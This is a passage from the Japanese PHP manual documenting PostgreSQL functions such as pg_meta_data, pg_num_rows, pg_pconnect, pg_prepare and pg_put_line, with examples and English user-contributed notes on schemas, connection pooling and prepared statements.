pg_meta_data ( resource $connection , string $table_name , bool $extended = false ) : array

pg_meta_data() は、table_name のテーブル定義を配列として返します。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

テーブルの名前。

extended

拡張メタデータを返すかどうかを表すフラグ。デフォルトは false。

返り値

テーブル定義の配列を返します。エラー時には false を返します。

例

例1 テーブルのメタデータを得る

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $meta = pg_meta_data($dbconn, 'authors');
  if (is_array($meta)) {
      echo '<pre>';
      var_dump($meta);
      echo '</pre>';
  }
?>

上の例の出力は以下となります。

array(3) {
["author"]=>
array(5) {
  ["num"]=>
  int(1)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["year"]=>
array(5) {
  ["num"]=>
  int(2)
  ["type"]=>
  string(4) "int2"
  ["len"]=>
  int(2)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["title"]=>
array(5) {
  ["num"]=>
  int(3)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
}

変更履歴

バージョン | 説明
5.6.0 | 実験的な関数ではなくなりました。デフォルト属性として "is enum" が追加されました。 extended フラグが追加されました。

参考

  • pg_convert() - 連想配列の値を、SQL 文として実行可能な形式に変換する

User Contributed Notes

shaman_master at list dot ru 28-Apr-2019 11:03
If parameter $extended not false:
<?php
array (size=2)
  'name' =>
    array (size=11)
      'num' => int 1
      'type' => string 'varchar' (length=7)
      'len' => int -1
      'not null' => boolean false
      'has default' => boolean true
      'array dims' => int 0
      'is enum' => boolean false
      'is base' => boolean true
      'is composite' => boolean false
      'is pesudo' => boolean false
      'description' => string '' (length=0)
  'id' =>
    array (size=11)
      'num' => int 2
      'type' => string 'int4' (length=4)
      'len' => int 4
      'not null' => boolean true
      'has default' => boolean true
      'array dims' => int 0
      'is enum' => boolean false
      'is base' => boolean true
      'is composite' => boolean false
      'is pesudo' => boolean false
      'description' => string '' (length=0)
?>
Hayley Watson 17-Jul-2017 02:34
To specify a schema as well as a table name, use the "schemaname.tablename" form as usual for PostgreSQL and the other functions in this extension. Without the prefix, of course, the default schema search path is used.

<?php
  $meta = pg_meta_data($dbconn, 'foo.bar'); // table "bar" in schema "foo"
  if (is_array($meta)) {
      var_dump($meta);
  }
?>
jsnell at e-normous dot com 12-Nov-2007 03:24
The built in function does not provide any support for selecting a schema.  If you need schema support and do not want to alter your SEARCH_PATH, the following function can provide it:

 function meta_data($table, $schema = 'public')
    {
$result = pg_query_params("SELECT a.attname, a.attnum, t.typname, a.attlen, a.attnotNULL, a.atthasdef, a.attndims
FROM pg_class as c, pg_attribute a, pg_type t, pg_namespace n
WHERE a.attnum > 0
AND a.attrelid = c.oid
AND c.relname = $1
AND a.atttypid = t.oid
AND n.oid = c.relnamespace
AND n.nspname = $2
ORDER BY a.attnum", array($table, $schema));
$fields = array();
while($row = pg_fetch_array()) {
$fields['attname'] = $row;
}
        return $fields;
    }
yarnofmoo at gmail dot com 27-Jun-2007 08:32
You can get some possibly more useful information with the query:

SELECT table_name, column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='tablename';
rburghol at vt dot edu 24-Jun-2005 06:37
When querying on meta data from a temp table, the meta data seems to persist even if a fresh connection is established, where the temp table no longer exists.

 For example, if you create a connection and a temp table like so:
$dbconn1 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);
pg_exec($dbconn1,'create temp table foo as select 'foo' as namecol, 'bar' as valcol');

Then create a new connection

$dbconn2 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);

And query the meta data for table 'foo' in this new connection, it will report the facts about this table:
pg_meta_data($dbconn2,'foo');

"'Array ( [foo] => Array ( [num] => 1 [type] => varchar... "

However, trying to remove this table:
pg_exec($dbconn,'drop table foo');

Throws an error:
pg_exec(): Query failed: ERROR: table "foo" does not exist in ...
dmiller at NOSPAM dot judcom dot nsw dot gov dot au 18-Jun-2003 01:31
This function seems to be case-sensitive on tablename (php-4.3.1)

The Array returned is of the following structure
['field name'] => Array
   (
     ['num'] => Field number starting at 1
     ['type'] => data type, eg varchar, int4
     ['len'] => internal storage size of field. -1 for varying
     ['not null'] => boolean
     ['has default'] => boolean
   )
     ......

for Varied size datatypes (varchar, text, etc)
you can get the max data length from the system table pg_attribute.atttypmod -4
eg.
select attnum, attname , atttypmod -4 as field_len
from pg_attribute, pg_class
where relname='$tablename'
and attrelid=relfilenode
and attnum>=1


フィールド数を返す

  • ≪ pg_meta_data
  • pg_num_rows ≫
  • PHP Manual
  • PostgreSQL 関数
  • フィールド数を返す

pg_num_fields

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_num_fields — フィールド数を返す

説明

pg_num_fields ( resource $result ) : int

pg_num_fields() は、PostgreSQL 結果リソースから フィールド（カラム）の数を返します。

注意:

この関数は、以前は pg_numfields() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

結果のフィールド（カラム）数を返します。エラー時には -1 を返します。

例

例1 pg_num_fields() の例

<?php
$result = pg_query($conn, "SELECT 1, 2");

$num = pg_num_fields($result);

echo $num . " field(s) returned.\n";
?>

上の例の出力は以下となります。

2 field(s) returned.

参考

  • pg_num_rows() - 行数を返す
  • pg_affected_rows() - 変更されたレコード(タプル)の数を返す

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 01:02
Here is a simple example for using pg_num_feilds, pg_num_rows and pg_result together.  I'm simply SELECTing * from a table named markie on the current pg_connect().

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if (!$pgsql_conn) {
        print pg_last_error($pgsql_conn);
        exit;
    }

    $results = pg_query($pgsql_conn, "SELECT * FROM markie");

    echo "<table border=1>\n";
    for($lt = 0; $lt < pg_num_rows($results); $lt++) {
        echo "<tr>\n";
        for($gt = 0; $gt < pg_num_fields($results); $gt++) {
            echo "<td>" . pg_result($results, $lt, $gt) . "</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";

    pg_close($pgsql_conn);
?>

This code snippet will print out the rows and columns into a HTML table.

Regards,  --mark


行数を返す

  • ≪ pg_num_fields
  • pg_options ≫
  • PHP Manual
  • PostgreSQL 関数
  • 行数を返す

pg_num_rows

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_num_rows — 行数を返す

説明

pg_num_rows ( resource $result ) : int

pg_num_rows() は、PostgreSQL の結果リソースの 行数を返します。

注意:

この関数は、以前は pg_numrows() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

結果の行数を返します。エラー時には -1 を返します。

例

例1 pg_num_rows() の例

<?php
$result = pg_query($conn, "SELECT 1");

$rows = pg_num_rows($result);

echo $rows . " row(s) returned.\n";
?>

上の例の出力は以下となります。

1 row(s) returned.

参考

  • pg_num_fields() - フィールド数を返す
  • pg_affected_rows() - 変更されたレコード(タプル)の数を返す

User Contributed Notes

strata_ranger at hotmail dot com 10-May-2009 10:06
As mentioned, if you are performing an INSERT/UPDATE or DELETE query and want to know the # of rows affected, you should use pg_affected_rows() instead of pg_num_rows().

However, you can also exploit postgres's RETURNING clause in your query to auto-select columns from the affected rows.  This has the advantage of being able to tell not only how many rows a query affects, but exactly which rows those were, especially if you return a primary-key column.

For example:

<?php

// Example query.  Let's say that this updates five rows in the source table.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' ");
pg_num_rows($res); // 0
pg_affected_rows($res); // 5
pg_fetch_all($res); // FALSE

// Same query, with a RETURNING clause.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' RETURNING foo.pkey");
pg_num_rows($res); // 5
pg_affected_rows($res); // 5
pg_fetch_all($res); // Multidimensional array corresponding to our affected rows & returned columns
?>
ElDiablo 06-Oct-2008 07:09
About preceding note, you shouldn't use pg_num_rows() for this.
You should have instead a look at pg_affected_rows().
francisco at natserv dot com 07-Jan-2008 08:26
Not sure why this documentation doesn't have the following note:
Note: Use pg_affected_rows() to get number of rows affected by INSERT, UPDATE and DELETE query.

Found on other resources. Adding here in case someone else is looking for the info.


接続に関連するオプションを取得する

  • ≪ pg_num_rows
  • pg_parameter_status ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続に関連するオプションを取得する

pg_options

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_options — 接続に関連するオプションを取得する

説明

pg_options ( resource $connection = ? ) : string

pg_options() は、指定した PostgreSQL connection リソースの オプションを保持する文字列を返します。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

connection のオプションを文字列で返します。 エラー時には false を返します。

例

例1 pg_options() の例

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");
   echo pg_options($pgsql_conn);
?>

参考

  • pg_connect() - PostgreSQL 接続をオープンする

User Contributed Notes

Robert Treat <xzilla at sourceforge> 31-Dec-2004 08:07
Apparently this function does not return the database name given in the connection string.  I tried this on apache 2.x/php4.3.x/pg7.4.x and apache 1.3.x/php5.x/pg8rc1 and saw this behavior on both setups.


サーバーのパラメータ設定を検索する

  • ≪ pg_options
  • pg_pconnect ≫
  • PHP Manual
  • PostgreSQL 関数
  • サーバーのパラメータ設定を検索する

pg_parameter_status

(PHP 5, PHP 7, PHP 8)

pg_parameter_status — サーバーのパラメータ設定を検索する

説明

pg_parameter_status ( resource $connection = ? , string $param_name ) : string

サーバーのパラメータ設定を検索します。

いくつかのパラメータについては、接続の確立時や値の変更時にサーバーから 自動的に通知されます。pg_parameter_status() は これらの設定問い合わせるために使用可能です。指定したパラメータが存在する 場合にその値を、存在しない場合に false を返します。

PostgreSQL 8.0 で指定できるパラメータには以下が含まれます。 server_version、 server_encoding、client_encoding、 is_superuser、session_authorization、 DateStyle、TimeZone および integer_datetimes （server_encoding、TimeZone および integer_datetimes は 8.0 より前のバージョンでは指定できません）。 server_version、server_encoding および integer_datetimes は、PostgreSQL の稼動中には変更できないことに注意しましょう。

PostgreSQL 7.3 以前のサーバーはパラメータ設定を通知する機能を持っていません。 しかし、pg_parameter_status() には server_version および client_encoding を取得する機能を組み込んでいます。これらの値を取得するためにアプリケーションで アドホックなコードを書くのではなく、pg_parameter_status() を使用することを推奨します。

警告

7.4 より前の PostgreSQL サーバーでは、接続の確立後に SET を用いて client_encoding を変更しても pg_parameter_status() には反映されません。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

param_name

指定可能な param_name には以下が含まれます。 server_version、 server_encoding、client_encoding、 is_superuser、session_authorization、 DateStyle、TimeZone および integer_datetimes。 この値は、大文字小文字を区別するので注意して下さい。

返り値

パラメータの値を文字列で返します。失敗した場合や param_name が間違っている場合には false を返します。

例

例1 pg_parameter_status() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  echo "Server encoding: ", pg_parameter_status($dbconn, "server_encoding");
?>

上の例の出力は以下となります。

Server encoding: SQL_ASCII

User Contributed Notes

There are no user contributed notes for this page.


持続的な PostgreSQL 接続をオープンする

  • ≪ pg_parameter_status
  • pg_ping ≫
  • PHP Manual
  • PostgreSQL 関数
  • 持続的な PostgreSQL 接続をオープンする

pg_pconnect

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_pconnect — 持続的な PostgreSQL 接続をオープンする

説明

pg_pconnect ( string $connection_string , int $connect_type = ? ) : resource

pg_pconnect() は PostgreSQL への接続を オープンします。この関数は、他の PostgreSQL関数 が必要とする 接続リソースを返します。

既存の接続と同じ connection_string を用いて pg_pconnect() が 2 回目にコールされた場合は、 既存の接続を返します。ただし、connect_type に PGSQL_CONNECT_FORCE_NEW を指定している場合は 除きます。

持続的接続を有効にするには、php.ini のディレクティブ pgsql.allow_persistent を "On" に設定する必要があります（デフォルトは On です）。 持続的接続の最大数は php.ini ディレクティブ pgsql.max_persistent で設定可能です（デフォルトは制限無しを意味する -1 です）。 接続全体の数は php.ini ディレクティブ pgsql.max_links で設定可能です。

pg_close() は、 pg_pconnect() によりオープンされた持続的接続は 閉じません。

パラメータ

connection_string

すべてデフォルトのパラメータを使用する場合には connection_string を空にすることが可能です。 または 1 つ以上のパラメータを空白で区切って指定することも可能です。 個々のパラメータは keyword = value の形式で 設定します。等号の前後の空白はあってもなくてもかまいません。 空の値や空白を含む値を指定する場合は、その値をシングルクォートで 囲みます（例: keyword = 'a value'）。値の中に シングルクォートやバックスラッシュが含まれる場合は、それらを バックスラッシュでエスケープする必要があります（例: \' および \\）。

現在利用できるパラメータは以下のとおりです。 host, hostaddr, port, dbname, user, password, connect_timeout, options, tty（無視されます）, sslmode, requiressl（非推奨。代わりに sslmode を推奨します） および service 。これらのうち実際にどの パラメータが使えるかは、PostgreSQL のバージョンに依存します。

connect_type

PGSQL_CONNECT_FORCE_NEW が渡された場合は、 たとえ connection_string が既存の接続と まったく同一であっても新しい接続をオープンします。

返り値

成功した場合に PostgreSQL の接続リソース、失敗した場合に false を返します。

例

例1 pg_pconnect() の使用法

<?php
$dbconn = pg_pconnect("dbname=mary");
// "mary"という名前のデータベースに接続

$dbconn2 = pg_pconnect("host=localhost port=5432 dbname=mary");
// "localhost"のポート"5432"にて"mary"という名前のデータベースに接続

$dbconn3 = pg_pconnect("host=sheep port=5432 dbname=mary user=lamb password=foo");
// ユーザー名とパスワードを指定してホスト"sheep"上の"mary"という名前のデータベースに接続

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_pconnect($conn_string);
// ユーザー名とパスワードを指定してホスト"sheep"上の"test"という名前のデータベースへ接続
?>

参考

  • pg_connect() - PostgreSQL 接続をオープンする
  • 持続的データベース接続

User Contributed Notes

robertb 10-Dec-2008 12:54
You should not use pg_pconnect - it's broken. It will work but it doesn't really pool, and it's behaviour is unpredictable. It will only make you rise the max_connections parameter in postgresql.conf file until you run out of resources (which will slow your database down).

If you have many concurrent connections to your database, you should use the PostgreSQL connection pooler PgBouncer (developed by the Skype-team). When using pgbouncer, make sure you use pg_connect and NOT pg_pconnect. Also, make sure you close your connections with pg_close.

* PGBouncer homepage:
http://developer.skype.com/SkypeGarage/DbProjects/PgBouncer

* PostgreSQL pooling article by Last.fm:
http://www.last.fm/user/Russ/journal/2008/02/21
/zd_postgres_connection_pools:_pgpool_vs._pgbouncer
ts at dev dot websafe dot pl 28-Oct-2007 02:22
<?php
//
// Using pg_pconnect in a class.
//
// Why this? Because the manual says:
//
//   If a second call is made to pg_pconnect() with the same
//   connection_string as an existing connection, the existing
//   connection will be returned unless you pass
//   PGSQL_CONNECT_FORCE_NEW as connect_type.
//
// This is not always true.
//
/**
 * MyClassA creates a postgresql connection using pg_pconnect
 * and stores the resulting resource id to $this->conn
 */
class MyClassA
{
    function __construct($connection_string)
    {
        $this->conn =
            pg_pconnect($connection_string)
                or die('Wrong CONN_STRING');
    }
}

//
// Showing current php.ini settings to be sure
// that persistent connections s  are allowed.
// -1 means 'unlimited'
//
echo '<br>pgsql.allow_persistent: ' . ini_get('pgsql.allow_persistent');
echo '<br>pgsql.max_persistent: ' . ini_get('pgsql.max_persistent');
echo '<br>pgsql.max_links: ' . ini_get('pgsql.max_links');
echo '<br><br>';

// setting one custom connection string for all objects
// (modify $connection_string to fit your needs)
$connection_string =
    'host=localhost port=5432' .
    ' dbname=test user=test password=test';

//
// Creating 10 MyClassA objects using the same $connection_string
//
$objArr = Array();
for ($i = 0; $i < 10; $i++)
{
    $objArr[] = new MyClassA($connection_string);
}

//
// Human readable result:
//
foreach($objArr as $id => $object)
{
    printf(
        '%s: Object %s: using db %s<br>',
        get_class($object), $id, $object->conn
    );
}

/* ------------------------------------------------------------- */
// The result
// pgsql.allow_persistent: 1
// pgsql.max_persistent: -1
// pgsql.max_links: -1
//
// MyClassA: Object 0: using db Resource id #2
// MyClassA: Object 1: using db Resource id #3
// MyClassA: Object 2: using db Resource id #4
// MyClassA: Object 3: using db Resource id #5
// MyClassA: Object 4: using db Resource id #6
// MyClassA: Object 5: using db Resource id #7
// MyClassA: Object 6: using db Resource id #8
// MyClassA: Object 7: using db Resource id #9
// MyClassA: Object 8: using db Resource id #10
// MyClassA: Object 9: using db Resource id #11
//
/* ------------------------------------------------------------- */
//
// Each MyClassA object will use its _own_ database Resource id
//
?>
Dennis Fogg 13-Oct-2007 01:27
As of Aug 2007, some suggestions from the postgresql forums
on pg_pconnect(), faster postgres connections, and connection pooling:

Summary:
http://archives.postgresql.org/pgsql-general/2007-08/msg01406.php

Good details: http://archives.postgresql.org/pgsql-general/2007-08/msg00660.php
Also: http://archives.postgresql.org/pgsql-general/2007-08/msg01489.php
info at karl-philipp dot de 06-Oct-2003 04:05
A contribution to the transaction issue raised by "garrett at bgb dot cc".

In a German book about PostgreSQL in connection with PHP (Cornelia Boenigk, PostgreSQL - Grundlagen, Praxis, Anwendungsentwicklung mit PHP) one can read in chapter 19.3 about persistent connections:
If the page processing aborts and the transaction is not finished yet, the next script using the same persistent connection will be considered as the continuation of the transaction. In particular a lock of a table will persist. The explanation is as follows: After the abort of the script no COMMIT or ROLLBACK was sent to the db server.

The author describes a hint to avoid the scenario above:
You can create a function for resolving transactions and locks erroneously not closed. For invoking the function after execution of a script it has to be registered with the function register_shutdown_function():

 http://de2.php.net/manual/en/function.register-shutdown-function.php
Spiros Ioannou 30-Jan-2003 05:40
Instead of reducing MaxClients in apache you may try to
reduce pgsql.max_links in php to at least the number of
postmasters. It should work and leave
you with more available httpds for static html pages.
raggaflo at libertysurf dot fr 29-Mar-2002 08:03
Be careful when using Apache/PHP dynamic module/PostgreSQL :
in httpd.conf (Apache conf) default MaxClients is 150, whereas default PG's max_connections is 32 which is much fewer than 150. You have to set max_connections to at least MaxClients (and pg's shared_buffers to 2*max_connections at least) to avoid PG's errors with pg_pconnect like : "Sorry, too many clients already connected"
etsysx dot i dot hate dot spam at teleline dot es 10-Mar-2002 01:56
To setup a high availability server with apache as a static module and postgreSQL, change httpd.conf and set MaxClients to less than max postgreSQL simultaneous connections (like 32 or 64).
This way pg_pconnect will allways return a valid handle under heavy traffic or under a request flow attack without wasting resources and without connection problems.
garrett at bgb dot cc 08-Feb-2002 04:39
If a transaction is in progress when page processing ends, is it aborted before the connection placed bak in the pool? Or is the connection added "as is"?

It would seem that the correct thing to do is to always 'ABORT' before adding to the pool.

As a note, this would be a good time to check and see if the connection is still open before readding it. Thus allowing closed connections to be cleaned up over time, instead of hanging around for ever as they do now.
herve at elma dot fr 04-Dec-2000 06:14
For resetting an apache web server and in same time the persistent connections you may use :
./apachectl graceful
dmitri at graphictype dot com 10-May-2000 04:12
How to reset persistent connections:

killall -USR1 httpd


データベース接続を調べる

  • ≪ pg_pconnect
  • pg_port ≫
  • PHP Manual
  • PostgreSQL 関数
  • データベース接続を調べる

pg_ping

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_ping — データベース接続を調べる

説明

pg_ping ( resource $connection = ? ) : bool

pg_ping() はデータベース接続を調べ、その接続が 壊れている場合には再度接続を試みます。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_ping() の例

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "エラーが発生しました。\n";
  exit;
}

if (!pg_ping($conn))
  die("接続は壊れています。\n");
?>

参考

  • pg_connection_status() - 接続ステータスを取得する
  • pg_connection_reset() - 接続をリセット(再接続)する

User Contributed Notes

There are no user contributed notes for this page.


接続に関連するポート番号を返す

  • ≪ pg_ping
  • pg_prepare ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続に関連するポート番号を返す

pg_port

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_port — 接続に関連するポート番号を返す

説明

pg_port ( resource $connection = ? ) : int

pg_port() は、指定した PostgreSQL connection リソースが接続している ポートの番号を返します。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

connection が指しているデータベースのポート番号を 含む int を返します。エラー時には false を返します。

例

例1 pg_port() の例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Successfully connected to port: " . pg_port($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ

  • ≪ pg_port
  • pg_put_line ≫
  • PHP Manual
  • PostgreSQL 関数
  • 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ

pg_prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_prepare — 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ

説明

pg_prepare ( resource $connection = ? , string $stmtname , string $query ) : resource|false

pg_prepare() は、 pg_execute() あるいは pg_send_execute() で後に実行するためのプリペアドステートメントを作成します。これにより、 繰り返し使用されるコマンドについての構文解析や実行計画作成が最初の 一度だけですみます。pg_prepare() は PostgreSQL 7.4 以降の接続でのみ使用可能です。それ以前のバージョンでは失敗します。

この関数は stmtname という名前の プリペアドステートメントを query 文字列から作成します。 この文字列には 1 つの SQL コマンドが含まれている必要があります。 stmtname を "" にすることで無名ステートメントを 作成することが可能で、既存の無名ステートメントは自動的に上書きされます。 それ以外の場合、もしカレントのセッションで既に定義済みのステートメント名を 使用した場合にはエラーとなります。パラメータを使用する際は、 query 内で $1、$2 のような形式で参照されます。

pg_prepare() で使用するプリペアドステートメントは、 SQLの PREPARE 文を実行することでも作成可能です （しかし、パラメータの型を事前に指定する必要がないという点で pg_prepare() のほうがより柔軟です）。 また、PHP にはプリペアドステートメントを削除する関数がありませんが、 この目的のためには SQLの DEALLOCATE 文が使用可能です。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

stmtname

プリペアドステートメントにつける名前。接続内で一意である必要があります。 "" が指定された場合は無名ステートメントが作成され、以前に定義された 無名ステートメントを上書きします。

query

パラメータ化した SQL 文。ひとつの文のみである必要があります （複数の文をセミコロンで区切る形式は使用できません）。パラメータを 使用する際は $1、$2 などの形式で参照されます。

返り値

成功した場合にクエリ結果リソース、失敗した場合に false を返します。

例

例1 pg_prepare() の使用法

<?php
// "mary"という名前のデータベースに接続
$dbconn = pg_connect("dbname=mary");

// 実行するクエリの準備
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// プリペアドクエリを実行する。文字列 "Joe's Widgets" は
// エスケープの必要がないことに注意
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// 同一プリペアドクエリを別のパラメータで実行する
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

参考

  • pg_execute() - 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ
  • pg_send_execute() - 指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない

User Contributed Notes

geompse at gmail dot com 09-Apr-2012 11:04
The given name cannot be the statement itself.
It has a maximum length and will truncate.

If two queries begin the same way, only the first one will be used.
andy at petdance dot com 28-Dec-2007 07:57
Any error in the prepare is available from pg_last_error().
mike at musskopf dot com 26-Sep-2007 02:14
I had some problems with this function. When you use pg_prepare() with a function like date_trunc('day', $1) you need to specify the data type.

The solution was use the Pear MDB2 but with some changes in code. The original code try to use pg_prepare() too, with errors.
rodrigo at fabricadeideias dot com 07-Nov-2006 04:05
If you decide to deallocate (unprepare) a previously prepared sql command it might be better to quote the sql name as in

  DEALLOCATE "theNameOfMySQL"

instead of (the more natural)

  DEALLOCATE theNameOfMySQL

PostgerSQL preserves the case of your identifiers if, and only if, you quote them. The pg_prepare function preserves the case of the sql name you use.

A complete example would be

  $sql = 'SELECT * FROM user WHERE cod_user = $1';
  $sqlName = 'selectUserByCode';
  if (!pg_prepare ($sqlName, $sql)) {
    die("Can't prepare '$sql': " . pg_last_error());
  }
  $rs = pg_execute($sqlName, array(1));
  do whatever you want with $rs and finally
  $sql = sprintf(
    'DEALLOCATE "%s"',
    pg_escape_string($sqlName)
  );
  if(!pg_query($sql)) {
    die("Can't query '$sql': " . pg_last_error());
  }
scott dot marlowe at gmail dot com 06-Mar-2006 07:20
Note that if you are preparing a query with an in clause with a list of items, you will need to prepare each item separately.

$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name IN($1,$2,$3)');

$result = pg_execute($dbconn, "my_query", array("coffee", "beer", "hard"));

This means that you can't just prepare a query with an arbitrary in() list.
david at fetter dot org 16-Apr-2005 08:33
SQL is often a complicated piece of code by itself, so you may wish put it inside a "here doc."  This will help you read it wherever it appears and test it by itself via a command-line or gui client.

$sql = <<<SQL
SELECT a.foo, b.bar, c.baz
FROM
    table_a a
LEFT JOIN
    table_b b
ON (
    a.a_id = b.a_id
)
JOIN
    table_c c
ON (
    b.c_id = c.c_id
)
WHERE c.name = $1
SQL;


NULL で終わる文字列を PostgreSQL バックエンドに送信する

  • ≪ pg_prepare
  • pg_query_params ≫
  • PHP Manual
  • PostgreSQL 関数
  • NULL で終わる文字列を PostgreSQL バックエンドに送信する

pg_put_line

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_put_line — NULL で終わる文字列を PostgreSQL バックエンドに送信する

説明

pg_put_line ( resource $connection = ? , string $data ) : bool

pg_put_line() は、NULL で終わる文字列を PostgreSQL バックエンドサーバーに送信します。これは、PostgreSQL の COPY FROM コマンドとともに使用する場合に必要となります。

COPY は、PostgreSQL によってサポートされている 高速なデータ読み込みインターフェイスです。データの内容はパースされず、 一度のトランザクションで実行されます。

低レベルな pg_put_line() コマンドを用いない別の方法は、 pg_copy_from() を使用することです。これは、はるかに シンプルなインターフェイスです。

注意:

pg_end_copy() を実行する際には、送信データの最後に 明示的に "\." の 2 文字を送信する必要があります。これによって、 バックエンドに対してデータ送信の終了を通知します。

警告

pg_put_line() の使用は、pg_lo_read() や pg_lo_tell() などを含むラージオブジェクトの操作を 発生させ、これが失敗することもあります。そのような場合、かわりに pg_copy_from() および pg_copy_to() が使用可能です。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

data

PostgreSQL バックエンドに直接送信されるテキストデータ。 最後に NULL が自動的に付加されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_put_line() の例

<?php
  $conn = pg_pconnect("dbname=foo");
  pg_query($conn, "create table bar (a int4, b char(16), d float8)");
  pg_query($conn, "copy bar from stdin");
  pg_put_line($conn, "3\thello world\t4.5\n");
  pg_put_line($conn, "4\tgoodbye world\t7.11\n");
  pg_put_line($conn, "\\.\n");
  pg_end_copy($conn);
?>

参考

  • pg_end_copy() - PostgreSQL バックエンドと同期する

User Contributed Notes

smcbride at msn dot com 25-Jul-2020 12:54
When using this function, don't get bit by using 'literal\tanotherliteral\n' issue by using single quotes vs. double quotes.  "literal\tanotherliteral\n" is not the same.  Many of the functions are impacted on how double quotes treats escape characters different than single quotes.  I forget it all the time.
kurt at nospam dot milliganshome dot net 22-Aug-2005 09:08
This is the function you need if you are running into the infamous "must be superuser to COPY to or from a file" error from postgres.


SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ

  • ≪ pg_put_line
  • pg_query ≫
  • PHP Manual
  • PostgreSQL 関数
  • SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ

pg_query_params

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_query_params — SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ

説明

pg_query_params ( resource $connection = ? , string $query , array $params ) : resource|false

コマンドをサーバーに送信し、その結果を待ちます。パラメータを SQL コマンド とは別に渡すことが可能です。

pg_query_params() は pg_query() と似ていますが、追加の機能を有しています。それはパラメータ値が コマンド文字列と分離しているということです。 pg_query_params() は PostgreSQL 7.4 以降の接続でのみ サポートされます。それ以前のバージョンでは失敗します。

パラメータを使用する際は、query 文字列内で $1、$2 のように参照されます。 query の中で同じパラメータを何度も使えます。 その場合は、それぞれに同じ値が渡されます。 params で 実際の値を指定します。null を指定すると、SQL の NULL とみなされます。

pg_query() に対する pg_query_params() の最大の利点は、パラメータの値を query 文字列から 分離できることです。そのため、退屈でエラーの元となりやすいクォート・ エスケープなどをしなくてもよくなります。pg_query() と異なり、pg_query_params() ではひとつの SQL コマンドしか実行できません（クエリ文字列にセミコロンを含めることは 可能です。しかしそれ以降にコマンドを続けることはできません）。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

query

パラメータ化した SQL 文。ひとつの文のみである必要があります （複数の文をセミコロンで区切る形式は使用できません）。パラメータを 使用する際は $1、$2 などの形式で参照されます。

